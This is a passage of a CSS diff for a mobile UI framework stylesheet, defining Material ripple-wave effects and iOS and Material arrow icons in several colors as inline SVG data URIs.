+ user-select: none; +} +.md .ripple-wave { + left: 0; + top: 0; + position: absolute !important; + border-radius: 50%; + pointer-events: none; + z-index: -1; + background: rgba(0, 0, 0, 0.1); + padding: 0; + margin: 0; + font-size: 0; + -webkit-transform: translate3d(0px, 0px, 0) scale(0); + transform: translate3d(0px, 0px, 0) scale(0); + -webkit-transition-duration: 1400ms; + transition-duration: 1400ms; +} +.md .ripple-wave.ripple-wave-fill { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + opacity: 0.35; +} +.md .ripple-wave.ripple-wave-out { + -webkit-transition-duration: 600ms; + transition-duration: 600ms; + opacity: 0; +} +.button-fill .md .ripple-wave, +.picker-calendar-day .md .ripple-wave { + z-index: 1; +} +.md .button-fill .ripple-wave, +.md .button-active .ripple-wave, +.md .navbar .ripple-wave, +.md .toolbar .ripple-wave, +.md .subnavbar .ripple-wave, +.md .toast .ripple-wave, +.md .fab a .ripple-wave, +.md .stepper-fill .ripple-wave { + background: rgba(255, 255, 255, 0.3); +} +.md .messagebar .ripple-wave, +.md .searchbar .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .data-table .sortable-cell .ripple-wave { + z-index: 0; +} +.md .checkbox .ripple-wave, +.md .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); + z-index: 0; +} +.md .theme-dark .page-content .ripple-wave, +.md .theme-dark .messagebar .ripple-wave, +.md .theme-dark .popover .ripple-wave, +.md .theme-dark .calendar .ripple-wave, +.calendar.md .theme-dark .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-red .ripple-wave, +.md .ripple-red .ripple-wave { + background-color: rgba(244, 67, 54, 0.3); +} +.md .ripple-color-green .ripple-wave, +.md .ripple-green .ripple-wave { + background-color: rgba(76, 175, 80, 0.3); +} +.md .ripple-color-blue .ripple-wave, +.md .ripple-blue .ripple-wave { + background-color: rgba(33, 150, 243, 0.3); +} +.md .ripple-color-pink .ripple-wave, +.md .ripple-pink .ripple-wave { + background-color: rgba(233, 30, 99, 0.3); +} +.md .ripple-color-yellow .ripple-wave, +.md .ripple-yellow .ripple-wave { + background-color: rgba(255, 235, 59, 0.3); +} +.md .ripple-color-orange .ripple-wave, +.md .ripple-orange .ripple-wave { + background-color: rgba(255, 152, 0, 0.3); +} +.md .ripple-color-gray .ripple-wave, +.md .ripple-gray .ripple-wave { + background-color: rgba(158, 158, 158, 0.3); +} +.md .ripple-color-white .ripple-wave, +.md .ripple-white .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-black .ripple-wave, +.md .ripple-black .ripple-wave { + background-color: rgba(0, 0, 0, 0.3); +} +/* === Icon === */ +i.icon { + display: inline-block; + vertical-align: middle; + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-style: normal; + position: relative; +} +.ios .icon-back, +.ios .icon-prev { + width: 12px; + height: 20px; +} +.ios .icon-forward, +.ios .icon-next { + width: 12px; + height: 20px; +} +.ios .icon-next, +.ios .icon-prev { + width: 10px; +} +.ios .icon-forward, +.ios .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon-back, +.ios .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .navbar .f7-icons, +.ios .toolbar .f7-icons { + font-size: 22px; +} +.ios .tabbar .f7-icons, +.ios .tabbar-labels .f7-icons { + font-size: 25px; +} +.ios .item-media .f7-icons { + font-size: 25px; + width: 29px; + height: 29px; +} +.ios .button .f7-icons { + font-size: 22px; +} +.ios .item-media .icon { + color: #808080; +} +.ios .color-theme-red .icon-forward, +.ios .icon-forward.color-red, +.ios a.link.color-red .icon-forward, +.ios .color-theme-red .icon-next, +.ios .icon-next.color-red, +.ios a.link.color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .icon-back, +.ios .icon-back.color-red, +.ios a.link.color-red .icon-back, +.ios .color-theme-red .icon-prev, +.ios .icon-prev.color-red, +.ios a.link.color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-forward, +.ios .icon-forward.color-green, +.ios a.link.color-green .icon-forward, +.ios .color-theme-green .icon-next, +.ios .icon-next.color-green, +.ios a.link.color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-back, +.ios .icon-back.color-green, +.ios a.link.color-green .icon-back, +.ios .color-theme-green .icon-prev, +.ios .icon-prev.color-green, +.ios a.link.color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-forward, +.ios .icon-forward.color-blue, +.ios a.link.color-blue .icon-forward, +.ios .color-theme-blue .icon-next, +.ios .icon-next.color-blue, +.ios a.link.color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-back, +.ios .icon-back.color-blue, +.ios a.link.color-blue .icon-back, +.ios .color-theme-blue .icon-prev, +.ios .icon-prev.color-blue, +.ios a.link.color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-forward, +.ios .icon-forward.color-pink, +.ios a.link.color-pink .icon-forward, +.ios .color-theme-pink .icon-next, +.ios .icon-next.color-pink, +.ios a.link.color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-back, +.ios .icon-back.color-pink, +.ios a.link.color-pink .icon-back, +.ios .color-theme-pink .icon-prev, +.ios .icon-prev.color-pink, +.ios a.link.color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-forward, +.ios .icon-forward.color-yellow, +.ios a.link.color-yellow .icon-forward, +.ios .color-theme-yellow .icon-next, +.ios .icon-next.color-yellow, +.ios a.link.color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-back, +.ios .icon-back.color-yellow, +.ios a.link.color-yellow .icon-back, +.ios .color-theme-yellow .icon-prev, +.ios .icon-prev.color-yellow, +.ios a.link.color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-forward, +.ios .icon-forward.color-orange, +.ios a.link.color-orange .icon-forward, +.ios .color-theme-orange .icon-next, +.ios .icon-next.color-orange, +.ios a.link.color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-back, +.ios .icon-back.color-orange, +.ios a.link.color-orange .icon-back, +.ios .color-theme-orange .icon-prev, +.ios .icon-prev.color-orange, +.ios a.link.color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-forward, +.ios .icon-forward.color-gray, +.ios a.link.color-gray .icon-forward, +.ios .color-theme-gray .icon-next, +.ios .icon-next.color-gray, +.ios a.link.color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-back, +.ios .icon-back.color-gray, +.ios a.link.color-gray .icon-back, +.ios .color-theme-gray .icon-prev, +.ios .icon-prev.color-gray, +.ios a.link.color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-forward, +.ios .icon-forward.color-white, +.ios a.link.color-white .icon-forward, +.ios .color-theme-white .icon-next, +.ios .icon-next.color-white, +.ios a.link.color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-back, +.ios .icon-back.color-white, +.ios a.link.color-white .icon-back, +.ios .color-theme-white .icon-prev, +.ios .icon-prev.color-white, +.ios a.link.color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-forward, +.ios .icon-forward.color-black, +.ios a.link.color-black .icon-forward, +.ios .color-theme-black .icon-next, +.ios .icon-next.color-black, +.ios a.link.color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-back, +.ios .icon-back.color-black, +.ios a.link.color-black .icon-back, +.ios .color-theme-black .icon-prev, +.ios .icon-prev.color-black, +.ios a.link.color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon.color-red { + color: #ff3b30; +} +.ios .icon.color-green { + color: #4cd964; +} +.ios .icon.color-blue { + color: #007aff; +} +.ios .icon.color-pink { + color: #ff2d55; +} +.ios .icon.color-yellow { + color: #ffcc00; +} +.ios .icon.color-orange { + color: #ff9500; +} +.ios .icon.color-gray { + color: #8e8e93; +} +.ios .icon.color-white { + color: #ffffff; +} +.ios .icon.color-black { + color: #000000; +} +.md .icon-back { + width: 24px; + height: 24px; +} +.md .icon-forward { + width: 24px; + height: 24px; +} +.md .icon-next, +.md .icon-prev { + width: 24px; + height: 24px; +} +.md .item-media .icon { + color: #737373; +} +.md .item-media .material-icons { + font-size: 24px; + width: 24px; + height: 24px; +} +.md .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-red, +.md a.link .color-red .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-red, +.md a.link .color-red .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-red, +.md a.link .color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-red, +.md a.link .color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-green, +.md a.link .color-green .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-green, +.md a.link .color-green .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-green, +.md a.link .color-green .icon-prev { + background-image: 